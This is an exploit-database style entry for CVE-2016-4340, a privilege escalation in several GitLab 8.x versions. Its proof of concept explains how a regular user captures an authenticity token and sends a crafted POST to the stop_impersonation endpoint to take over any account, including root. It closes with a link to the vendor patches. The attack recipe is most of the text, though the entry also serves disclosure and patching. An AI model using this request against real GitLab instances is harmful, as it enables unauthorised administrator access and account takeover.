GitLab - 'impersonate' Feature Privilege Escalation

# Exploit Title: GitLab privilege escalation via "impersonate" feature

# Date: 02-05-2016

# Software Link: https://about.gitlab.com/

# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0

# Exploit Author: Kaimi

# Website: https://kaimi.ru

# CVE: CVE-2016-4340

# Category: webapps

 

1. Description

   

Any registered user can "log in" as any other user, including administrators.

 

https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/

 

   

2. Proof of Concept

 

Login as regular user.

Get current authenticity token by observing any POST-request (ex.: change any info in user profile).



Craft request using this as template:

 

POST /admin/users/stop_impersonation?id=root

. . .



_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D



Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.



   

3. Solution:



Use officialy provided solutions:

https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/